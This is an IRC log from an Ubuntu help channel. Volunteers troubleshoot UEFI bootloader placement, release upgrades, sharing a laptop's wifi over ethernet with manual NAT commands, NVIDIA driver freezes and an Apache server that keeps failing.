[19:32] <edge226> oerheks: its not a nvme issue... If I unplugged the nvme it would override sda instead. Guaranteed its just picking the first UEFI it sees and rolling with it.
[19:32] <oerheks> 512 should be enough for 4 efi instances..
[19:33] <edge226> oerheks: the point? I wanted each drive with its partitions to have its *own* independent efi.
[19:33] <edge226> oerheks: so now i pull that drive and the EFI is *elsewhere* thats stupid.
[19:34] <edge226> I mean I can easily migrate the efi but again thats *not* the point.
[19:34] <oerheks> oh, i thought ubuntu was the troublemaker.
[19:35] <edge226> It *IS* the troublemaker.
[19:35] <edge226> Every other Linux OS installs the EFI where you tell it to. Not scans for the first and overrides your custom choices.
[19:37] <edge226> oerheks: do I have to make some new account someplace or is my github enough to make a bug report?
[19:37] <ioria> bizzeh, " Your words become your actions, Your actions become your habits, Your habits become your destiny"   Mahatma Gandhi
[19:37] <bizzeh> doesnt HAVE to be true
[19:38] <oerheks> edge226, if i understand corectly, i would need to remove other devices to get a clean efi, that does not interfere with others. or partition this manually before installing
[19:38] <edge226> oerheks: you do not.
[19:39] <edge226> oerheks: it does not interfere with the other efi devices thats right. But I installed on /dev/sdc, I said not to use the nvme/sda efi partition and it turned to fat32 not being used.
[19:39] <edge226> I selected /dev/sdc as where to install the bootloader.
[19:39] <oerheks> oke, yes, file a bugreport. mention your github, no problem.
[19:40] <edge226> "file a bugreport" Do I need to create a special Ubuntu account?
[19:40] <edge226> If so I'm certainly not doing it. that is 'why' I asked if github credentials were enough.
[19:41] <tgm4883> edge226: you'd need a launchpad account as I doubt the installer stuff is on github
[19:42] <oerheks> one can add this in a comment ??
[19:42] <edge226> tgm4883: then there is the answer. I'm not filing a bug report *because* it requires a special account.
[19:42] <tgm4883> edge226: ok, fair enough. Then you shouldn't complain when it's not fixed
[19:42] <edge226> I assume thats how it goes for a *lot* of people. Might want to reconsider using things others use.
[19:43] <edge226> I mean Ubuntu has made some strides getting rid of unity and such.
[19:43] <Bashing-om> edge226: " *because* it requires a special account. " Blame that on the spammers .
[19:43] <edge226> Lets keep at that.
[19:43] <tgm4883> edge226: please point me to where it was decided that github is the end all be all
[19:43] <oerheks> one can always run "ubuntu-bug uefi " and see if there are simular reports
[19:43] <bizzeh> edge226: dont use ubuntu, there are 100s of different linux OS's around...
[19:43] <bizzeh> roll your own
[19:44] <edge226> tgm4883: I don't even like github. But I don't like creating an account for everything when things can use shared space.
[19:44] <troy> git can be confusing for new users
[19:44] <edge226> I just don't get making things harder for no reason.
[19:45] <bizzeh> it isnt no reason, the point is, you want more control over where things go and how things happen
[19:45] <bizzeh> there are ways to do that
[19:45] <tgm4883> edge226: FWIW, launchpad seems to predate github by about 3 years
[19:45] <sicc_sicc> Hey all, I installed i3 window manager in standard Ubuntu 17.04 but it does not show up @ login screen. Any ideas how to fix it?
[19:46] <edge226> tgm4883: fwiw anything ubuntu only is invalid at this point and just needs to be replaced with something *not*
[19:46] <edge226> tgm4883: unity, mir, what ubuntu only thing has *ever* worked out well.
[19:48] <edge226> Things where they actually work with the entire Linux community usually work well, Ubuntu only things crash.
[19:48] <bizzeh> edge226: then i have already offered you a solution to your problem
[19:48] <tgm4883> edge226: do you have a technical question in there somewhere, or do you just want to clog the channel
[19:49] <edge226> tgm4883: I'm just going to leave that be.
[19:50] <tgm4883> edge226: ok then
[19:50] <johnfg> ducasse: at section 4.8b, of the URL I mentioned earlier, since I'm using /dev/vda, what would I do for the 2nd line, mkdosfs?
[19:52] <johnfg> ducasse: With following the rest of the guide up until this point, I have /dev/vda, /dev/vda1 and /dev/vda9.
[19:53] <oerheks> sicc_sicc, did you install i3 or i3wm .. i3 is the metapackage
[19:56] <sicc_sicc> Hey all, I installed i3 window manager in standard Ubuntu 17.04 but it does not show up @ login screen. Any ideas how to fix it?
[19:56] <johnfg> It won't use /dev/vda1, as it says: mkdosfs: unable to open /dev/vda1: Device or resource busy
[20:01] <w9qbj> I have a new install of apcupsd, and along with it apctest. I'm not sure if apcupsd is working or not, apctest errors out. OS 16.04 64 bit. any help available?
[20:22] <tomreyn> w9qbj: i have zero experience with APC UPS, but if you're looking to get help here you should definitely provide the actual error message and tell which ubuntu release you run.
[20:22] <tomreyn> oops you said 16.04, sorry. still, error message + context are needed.
[20:50] <daker> hello, can someone help with partitioning a 100giga ssd?
[20:56] <EriC^^> daker: what do you need help with?
[20:58] <daker> EriC^^ how should i partition it?
[21:02] <oerheks> 17.04 comes with a swapfile instead of partition :-)
[21:03] <EriC^^> dark8: do you need hibernate, and are you using uefi?
[21:04] <nacc> EriC^^: daker i think you meant?
[21:04] <EriC^^> nacc: yes! thanks :)
[21:05] <daker> EriC^^ no i dont use hibernate
[21:05] <daker> How do i check if i am using uefi?
[21:06] <EriC^^> daker: type "ls /sys/firmware/efi" in the live usb session
[21:07] <Bashing-om> EriC^^:  daker Other way : Literally running "[ -d /sys/firmware/efi ] && echo UEFI || echo BIOS" will tell you if you're booted via UEFI.
[21:08] <cattuslaetus> hi i have a laptop with wifi and a desktop with no internet. both pcs have ubuntu 17 clean installed and gigabit ethernet. i want to share the laptop wifi with the desktop over ethernet. i followed this and it did not work https://askubuntu.com/questions/169473/sharing-connection-to-other-pcs-via-wired-ethernet, both devices networkmanager keeps saying disconnected
[21:09] <kenrin> Do you have the connect automatically box checked like in the pictures ?
[21:09] <daker> EriC^^ i don't have that folder(running live session)
[21:12] <cattuslaetus> kenrin: for me the box is on the general tab rather than above the tab so i had to find it  but yes it has been checked on both machines since i started trying
[21:13] <cattuslaetus> it says "automatically connect to this network when it is available" and is checked on both
[21:14] <kenrin> Then you need to figure out why it isn't getting an IP address.  If you don't have a DHCP server which I doubt you do in that configuration then you need to assign static addresses manually
[21:15] <cattuslaetus> when i follow the page's directions for assigning the ip manually on the desktop, the desktop says connected but cannot access the internet or the laptop. nothing changes on the laptop and networkmanager continues to say disconnected.
[21:16] <kenrin> See if it gives you an address on the laptop like it does in this askubuntu on "server" computer: https://askubuntu.com/questions/359856/share-wireless-internet-connection-through-ethernet
[21:17] <kenrin> Probably need to disable firewalls too or open the ports
[21:21] <cattuslaetus> kenrin: the laptop does not get an ip address automatically like in that page. the networkmanager tray icon animates for a while during which time connection information only displays the wifi connection info. then networkmanager gives an ethernet disconnected notification and repeats this.
[21:21] <kenrin> Well maybe bashing-om knows how to fix that.  I've only ever done NAT through iptables or firewalld
[21:22] <cattuslaetus> the computers are connected directly with a regular cat5e cable. i have heard that maybe a "crossover" patch cable is necessary, but that if both devices had a Gigabit Ethernet controller then this was not required,
[21:23] <vlt> cattuslaetus: What does `ethtool eth0` tell you? (Or whatever your eth device is called)
[21:24] <Bashing-om> kenrin: Uh Huh . You the better here . I have no WIFI experience :P
[21:24] <vlt> cattuslaetus: Do you have a working wifi connection on the laptop?
[21:28] <cattuslaetus> vlt: yes working wifi and that command says 1000baset and MDI-X on (auto) somewhere in the output on the laptop but on the desktop it says 1000baset and MDI-X off (auto). is that what you need? i will make a paste if you want the whole thing
[21:28] <[n0mad]> cattuslaetus: according to this you need a crossover https://learningnetwork.cisco.com/thread/62537
[21:31] <vlt> cattuslaetus: I expected the last line of ethtool’s output to say “link detected: yes/no”.
[21:32] <cattuslaetus> [n0mad]: i don't have a crossover but i have an Unmanaged Ethernet Switch and 1 more regular ethernet cable. can i use this somehow to do the same thing? vlt: the last line says link detected: yes on both pcs
[21:33] <vlt> cattuslaetus: If yes, then on the laptop: `ifconfig eth0 192.168.47.11; echo 1 >  /proc/sys/net/ipv4/ip_forward; iptables -O POSTROUTING -j MASQUERADE;`
[21:34] <vlt> cattuslaetus: On the desktop: `ifconfig eth0 192.168.47.12; ip route replace default via 192.168.47.11;`
[21:35] <vlt> cattuslaetus: Then first try `ping 192.168.47.11`,  then `ping 8.8.8.8`.
[21:36] <vlt> cattuslaetus: If that works: put "nameserver 8.8.8.8" as the only line into /etc/resolv.conf
[21:40] <cattuslaetus> vlt: # iptables -O POSTROUTING -j MASQUERADE returns iptables v1.6.1: unknown option "-O"
[21:41] <vlt> cattuslaetus: Sorry, -A
[21:41] <vlt> (Somewhere in the back of my head was an -O) :-D
[21:42] <cattuslaetus> iptables: No chain/target/match by that name.
[21:43] <xorpad> is there a way to upgrade from 17.04 to 17.10?
[21:43] <cattuslaetus> clean install, iptables -L has no rules in it, policy accept for chains INPUT FORWARD OUTPUT
[21:43] <xorpad> like, some way to make do-release-upgrade go to snapshots
[21:47] <vlt> cattuslaetus: Add a "-t nat" to the command.
[21:48] <nacc> xorpad: pass -d
[21:48] <nacc> xorpad: i don't know what you mean by snapshots, but -d will go to the currently in development release
[21:48] <vlt> cattuslaetus: Sorry, I don’t have an environment here to test the commands ;-)
[21:49] <cattuslaetus> vlt: thanks no output, entering desktop command
[21:49] <xorpad> snapshots are daily or nightly or weekly builds of the current development tree. Basically the last working version they have made at the end of a work day or the end of a work week
[21:49] <xorpad> snapshots are works in progress
[21:49] <nacc> xorpad: i know what snapshots are in general. I don't know why they are relevant in this context.
[21:49] <vlt> cattuslaetus: No output is generally a good sign.
[21:50] <xorpad> nacc, because I want to do-release-upgrade to the latest snapshot
[21:50] <nacc> xorpad: there is no such thing.
[21:50] <xorpad> I was asking if that's possible
[21:50] <xorpad> ok
[21:50] <nacc> xorpad: what do you think a snapshot of a distribution is? and why would you want to go to it?
[21:50] <xorpad> then... screw it I'll stick with 17.04
[21:50] <nacc> xorpad: it's just a point in time? you will still need to *immediately* `sudo apt update; sudo apt full-upgrade` to get current.
[21:50] <xorpad> nacc: snapshots involve fixes but also experimental code and untested stuff
[21:51] <nacc> xorpad: i think you are trying to apply something from general software to a Linux distribution
[21:51] <xorpad> I know what they are, and I want to see the latest snapshot and what packages are in it
[21:51] <nacc> xorpad: then install 17.10?
[21:51] <xorpad> nacc: I want to keep my current installation but upgrade it
[21:51] <nacc> xorpad: then upgrade to 17.10?
[21:51] <xorpad> can i do that with ubiquity?
[21:52] <nacc> xorpad: ubiquity is an installer
[21:52] <nacc> xorpad: i'm not sure what you mean by your question
[21:52] <xorpad> yes, I'm asking if I can do the upgrade with ubiquity, ie the installer of the snapshot if i download the snapshot
[21:52] <xorpad> you said i can't do-release-upgrade it, so can I upgrade with newer installation media?
[21:52] <nacc> xorpad: do you mean the daily image?
[21:52] <nacc> xorpad: i never said that.
[21:53] <xorpad> yes, that's a snapshot
[21:53] <nacc> xorpad: in fact, I told you exactly what to do to use do-release-upgrade.
[21:53] <xorpad> -d ?
[21:53] <nacc> xorpad: yes.
[21:53] <nacc> xorpad: if you use the installer from a daily ISO, you're installing, not upgrading. That seems fairly obvious.
[21:53] <xorpad> oh, cause i say you say you can't do that, and I guess i thought it was in response to the thing it wasn't in response to that is causing this confustion
[21:54] <cattuslaetus> vlt: all pings on desktop: Destination Host Unreachable. on laptop ping 192.168.47.12: Destination Host Unreachable
[21:54] <xorpad> I just misunderstood your response and the timing of it
[21:54] <xorpad> confusion sorry
[21:54] <xorpad> I will use do-release-upgrade -d, thanks you for the help:D
[21:54] <nacc> xorpad: 'do-release-upgrade to the latest snapshot' is nonsense. It will put you on 17.10, which is not a snapshot. I think you want to stop thinking of Ubuntu in terms of snapshots :)
[21:55] <nacc> xorpad: yw
[21:55] <xorpad> I just want to see how stable it is and what packages it ships with
[21:55] <nacc> xorpad: you don't need to install it for the latter
[21:55] <xorpad> and I want to do it using my existing install because the install has things to compile to test all the toolchains and stuff I use
[21:55] <vlt> cattuslaetus: What does the output of `ifconfig` look like on both machines?
[21:55] <nacc> xorpad: i'm not sure upgrading your install to check for stability is necessarily the right choice, but that's up to you. Not yet release, etc. And there is no downgrade path, you'd need to reinstall if you hit fatal issues.
[21:55] <xorpad> they do have a daily or nightly build download page
[21:56] <nacc> xorpad: yes, those are daily ISO images.
[21:56] <cattuslaetus> vlt: making pastes
[21:56] <nacc> xorpad: you don't upgrade "to" an ISO image
[21:56] <xorpad> yes, I want to upgrade to the latest of those
[21:56] <nacc> xorpad: no, you don't. It doesn't make any sense.
[21:56] <nacc> xorpad: that's like saying I want to install 16.04 as of last week.
[21:56] <nacc> xorpad: you want to install 16.04, full stop.
[21:56] <nacc> xorpad: or in your case, 17.10.
[21:57] <xorpad> 17.10 proper download didn't have the microcode patches for ryzen last time I checked
[21:57] <xorpad> nightly did last time i checked
[21:57] <nacc> xorpad: I don't know what "proper download" means.
[21:58] <xorpad> well, by that I mean the official early build of 17.10
[21:58] <xorpad> as opposed to the nightly
[21:59] <nacc> xorpad: do you mean alpha1 / alpha2?
[21:59] <xorpad> no i mean the snapshots they make almost every day
[21:59] <nacc> xorpad: there is no "the" official early build
[21:59] <xorpad> well, the one they post for download on the easily findable download pages
[21:59] <xorpad> but recommend not using
[21:59] <xorpad> whatever, this is frustrating me
[22:00] <xorpad> I said what I want to do and you act like I called you some offensive name attacking my terminology and my reasoning for what I want to do
[22:02] <kenrin> wow
[22:02]  * nacc feels like telling someone "I don't know what you mean" isn't attacking, but to each their own
[22:02]  * tgm4883 reads backlog
[22:04]  * genii joins tgm4883
[22:10] <cattuslaetus> vlt: laptop http://paste.ubuntu.com/25372567/ desktop http://paste.ubuntu.com/25372783/
[22:12] <cattuslaetus> wifi device name begins with w and ethernet device names begin with e, though they are not the old pre-systemd names often referred to, and i dropped those names into your commands to replace what you meant
[22:12] <vlt> cattuslaetus: Well done.
[22:13] <vlt> cattuslaetus: desktop: `ping 192.168.47.12` (just to test locally)
[22:13] <cattuslaetus> vlt: 64 bytes from 192.168.47.12...  continuous
[22:14] <vlt> cattuslaetus: ctrl+c
[22:14] <vlt> cattuslaetus: desktop: `ip route`
[22:14] <vlt> cattuslaetus: two lines? paste here
[22:16] <vlt> cattuslaetus: Time to connect the switch.
[22:16] <cattuslaetus> 3 lines: default via 192.168.47.11 dev eno1 / 169.254.0.0/16 dev eno1 scope link metric 1000 / 192.168.47.0/24 dev eno1 proto kernel scope link src 192.168.47.12
[22:16] <vlt> switch, please, then ping again.
[22:18] <cattuslaetus> vlt: laptop to desktop ip or vice versa: Destination Host Unreachable
[22:19] <vlt> damn
[22:20] <vlt> cattuslaetus: Do LEDs on the NICs or the switch flash when you ping?
[22:21] <pavlos> cattuslaetus: contents of /etc/resolv.conf on both laptop (.11) and desktop (.12)
[22:22] <cattuslaetus> vlt: yes and yes, was about to say, lights on NICs, flashing when ping, lights on on switch for connected ports, both flashing when either pc ping
[22:22] <vlt> pavlos: He’s trying to ping ipv4 addresses only (for now).
[22:23] <vlt> cattuslaetus: laptop: `tcpdump -i enp0s25`
[22:23] <vlt> cattuslaetus: Then ping .11 from desktop again.
[22:25] <ItsMrB> Hi There, Recently I install security updates on my Ubuntu 16.04 install and now I do not have working LAN and wifi connection after reboot. (Laptop is a Hp Elitebook 8440p) I have done some basic check's  (Checked cable etc etc) but it still stuck with no network access. The network is running OK and my other pc’s / devices are all ok. Any suggestion's on what I can do?
[22:27] <cattuslaetus> vlt: before a could ping again on the desktop, networkmanager suddenly said disconnected and now ping returns network is unreachable, where previously after the commands you had me enter there was a connection with the name eno1
[22:28] <cattuslaetus> that connection is now absent from networkmanager
[22:28] <vlt> cattuslaetus: networkmanager seems to mess with our manual setup.
[22:29] <vlt> cattuslaetus: Run `ifconfig eno1 192.168.47.12` again.
[22:29] <tripelb> Hi.. how can I see  a YouTube video compressed or extended (aka faster or slower)
[22:30] <nacc> tripelb: that seems like a question for youtube?
[22:31] <vlt> tripelb: You could download it using youtube-dl and then use your favourite player (mplayer or vlc).
[22:31] <cattuslaetus> vlt: done, now ping gives Destination Host Unreachale. Lights on desktop NIC and switch are NOT flashing while pinging. nothing appearing in laptop tcpdump.
[22:32] <vlt> cattuslaetus: I’m running out of ideas.
[22:32] <madmangun> Use + or - to speed up or slow down a youtube video.  This ultimately depends on the browser.  As Vlt said, you can download using youtube-dl and use vlc or another video playback program
[22:32] <vlt> cattuslaetus: Does `ifconfig` list the assigned IP addresses on boh sides?
[22:33] <vlt> *both
[22:33] <cattuslaetus> yes, inet 192.168.47.11/12
[22:34] <cattuslaetus> (/ not present there just difference between them)
[22:36] <vlt> cattuslaetus: Anything useful from tcpdump?
[22:36] <cattuslaetus> vlt: if the desktop nic light doesn't flash during ping could there be a problem there? tcpdump shows nothing
[22:37] <cattuslaetus> "listening..." with nothing below
[22:37] <vlt> cattuslaetus: Check tcpdump also on the pinging machine, please.
[22:39] <cattuslaetus> vlt: pings from laptop appear in laptop tcpdump -i enp0s25 as they are sent. pings from desktop appear in desktop tcpdump -i eno1 as they are sent.
[22:40] <Bashing-om> vlt: cattuslaetus :: A thought ' /etc/NetworkManager/NetworkManager.conf ' set to " managed=true " to tell network-manager not to ignore interfaces defined via /etc/network/interfaces ??
[22:41] <cattuslaetus> vlt: laptop nic AND both switch lights flashing when laptop pings sent. Desktop NIC lights not flashing while pings sent, not causing switch lights to flash
[22:42] <vlt> cattuslaetus: Does the ethernet switch light a “connected” LED for both machines?
[22:43] <cattuslaetus> Bashing-om: done on desktop
[22:43] <cattuslaetus> vlt: yes.
[22:44] <cattuslaetus> both machines have a light on the switch corresponding to the switch port they are connected to
[22:45] <Bashing-om> cattuslaetus: vlt Not that I know more . Just a reminder when doing manually to take NM out of the picture .
[22:46] <vlt> I don’t know very much about NetworkManager and whether it could cause the pings not to reach the wire.
[22:46] <vlt> cattuslaetus: And tcpdump on the desktop does see the sent packages to .11, right?
[22:47] <cattuslaetus> vlt: yes
[22:48] <vlt> no fucking clue then
[22:48] <cattuslaetus> vlt: what might cause the laptop nic light to flash when pinging but not the desktop
[22:49] <vlt> cattuslaetus: The laptop seems to work while the desktop, well, doesn’t.
[22:51] <cattuslaetus> i am going to reboot the desktop and try again
[22:51] <pavlos> or restart NetworkManager on laptop
[22:53] <cattuslaetus> pavlos: done, no change on laptop
[22:54] <cattuslaetus> (# systemctl stop/start NetworkManager.service
[22:58] <cattuslaetus> vlt: i ran your command again on desktop after rebooting "ifconfig eth0 192.168.47.12; ip route replace default via 192.168.47.11;" and the second command (ip) prints "RTNETLINK answers: Network is unreachable"
[23:00] <vlt> cattuslaetus: ifconfig looks like before?
[23:01] <vlt> cattuslaetus: `ifup eno1`? (Trying everything that comes to mind now) :-D
[23:02] <Bashing-om> cattuslaetus: eth0 ?? not like as above eno1 ? But that too looks strange to me . As my systemd interface name is " enp1s9 " .
[23:04] <cattuslaetus> Bashing-om: sorry, eno1 on machine, in this IRC i copied and pasted from vlt's message
[23:04] <Bashing-om> cattuslaetus: ' ip link ls ' to know the name(s) .
[23:06] <cattuslaetus> vlt: ifconfig looks like before just the same, with ip on eno1, but "ifup eno1" prints "Unknown interface eno1"
[23:06] <vlt> cattuslaetus: `ifconfig eno1 up`
[23:07] <cattuslaetus> vlt: prints nothing, no change for ping or ifconfig
[23:08]  * vlt had burnt it by now. With fire.
[23:09] <cattuslaetus> maybe you should know, that many many times in the past i have tried to do a manual NAT like this, and every time something strange went wrong that could not be fixed and it never worked, i have never been able to use NAT except with a router operating system
[23:10] <cattuslaetus> with many different pcs
[23:10] <vlt> cattuslaetus: I use it this way all the time.
[23:11] <cattuslaetus> I hoped that i could do it like this if i clean installed the latest ubuntu on both machines, and was unsurprised when networkmanager failed to do it automatically, so i came here
[23:12] <cattuslaetus> i have stopped networkmanager service on the desktop, because it's one interface and it kept saying "disconnected" and changing the contents of ifconfig, like i described a little while ago
[23:13] <cattuslaetus> but on the laptop if i stop networkmanager the wifi will turn off
[23:13] <cattuslaetus> and the laptop nic lights flash anyway, but the desktop's dont
[23:21] <nekoexmachina> Hello! Anyone with some bumblebee & modern hw experience out there? I've got a huuuge issue that basically results in dead-frozen system if I run nvidia-detector or try to install nvidia-drivers/bumblebee-nvidia
[23:21] <nekoexmachina> in case of install, system freezes and is unresponsive, even to magic sysrq; after reboot it won't boot properly and I have to boot from live usb in order to remove nvidia* packages; after which system boots fine again
[23:23] <kenrin> Any reason you are using bumblebee over DRI prime ?
[23:24] <nekoexmachina> Well I've been using bumblebee for years and not sure what is dri prime
[23:24] <nekoexmachina> Problem lays not in bumblebee itself, the freeze happens as soon as it starts compiling module from nvidia-367 package
[23:25] <nekoexmachina> with nouveau, I have other issues, so that driver is completely out of question unfortunately (card is gtx 1050)
[23:25] <oerheks> ubuntu uses prime by default.
[23:26] <nekoexmachina> by-default so dri-prime uses nouveau drivers @oerheks?
[23:26] <oerheks> you would need 375 minimum http://www.nvidia.com/Download/driverResults.aspx/111596/en-us
[23:27] <LimeT> hi
[23:27] <oerheks> no, prime is for nvidia, to switch between intel
[23:27] <LimeT> I just asked in #httpd but got no answer yet.  So please don't hate on me for cross-posting my question:
[23:27] <LimeT> apache stops working from time to time.  Sometimes after a few days, and sometimes after some weeks. after restarting the server, everything works again.
[23:28] <LimeT> this time, I would like to investigate the reason
[23:28] <kenrin> So check the logs and see what happens LimeT
[23:28] <LimeT> sshd works (so I can log in)
[23:28] <nekoexmachina> oerheks:  alright, I'll try to install nvidia-375 and will be back in a few minutes I hope.
[23:28] <LimeT> however, the webserver does not deliver any data
[23:28] <oerheks> current 17.04 got the 375, and the graphics ppa https://launchpad.net/~graphics-drivers/+archive/ubuntu/ppa got even 384
[23:28] <LimeT> kenrin, /var/log/apache2/error.log ?
[23:28] <nine_milli> sup ladies?
[23:29] <kenrin> That will not give any useful information by itself
[23:29] <nekoexmachina> oh, system seems not be hanging this time during module compilation oerheks, I hope that is good news.
[23:30] <nekoexmachina> I'll go study some docs on prime-* and nvidia-prime. thanks for the input oerheks hope it would go well.
[23:30] <oerheks> have fun!
[23:30] <kenrin> That will give errors related to apache directly not why it is stopped or started.  You want to be looking at dmesg and journalctl
[23:30] <LimeT> I just looked into /var/log/syslog and there are hundrets of failed SMTP attemts
[23:30] <LimeT> but I do not even use SMTP on this server
[23:30] <LimeT> is this server hacked?
[23:31] <kenrin> A lot of system programs use smtp to deliver mail to root and other users
[23:31] <kenrin> locally,  of course
[23:31] <LimeT> nah, I see addresses that are clearly non-local
[23:39] <pavlos> cattuslaetus: if I may summarize ... laptop has wifi and ethernet, you create a new wired connection shared to other computers. Desktop connects to the laptop via a switch and you created a manual connection with ip, mask and gateway. And this does not work
[23:47] <pavlos> LimeT: if apache got a sigterm, it should say so in the error.log
[23:48] <LimeT> pavlos, the problem escalated in the meantime...
[23:48] <LimeT> pavlos, a user in #httpd told me I should change the MPM from preform to event
[23:48] <LimeT> I did so - now apache won't restart
[23:48] <LimeT> >> apache is running a threaded MPM, but your PHP Module is not compiled to be threadsafe.  You need to recompile PHP.
[23:48] <LimeT> I did not compile PHP in the first place
[23:49] <LimeT> I installed it from a package using apt-get
[23:50] <pavlos> LimeT: http://www.mylinuxguide.com/apache-is-running-a-threaded-mpm-but-your-php-module-is-not-compiled-to-be-threadsafe/
[23:51] <nacc> as in whoever told you to switch from prefork was wrong, if you are using php :)
[23:53] <neko_> oerheks:  unfortunately it didn't really help; I've tried to reboot only to find that system freezes on boot or on login (50/50 chances) if nvidia
[23:53] <neko_> if nvidia\* is installed, tried both 375 and 384
[23:54] <neko_> soon as I remove nvidia packages, all back to normal.
[23:55] <LimeT> thank you pavlos :))
[23:55] <pavlos> LimeT: I assume apache2 is up
[23:56] <LimeT> pavlos, yes, but I hysterically reverted back to prefork
[23:56] <LimeT> pavlos, now I am testing what you sent me
[23:56] <LimeT> (the article)
[23:56] <kenrin> All the article says is to switch back to prefork...
[23:57] <cattuslaetus> pavlos: yes. this is correct however there is a new development, after i have tried some things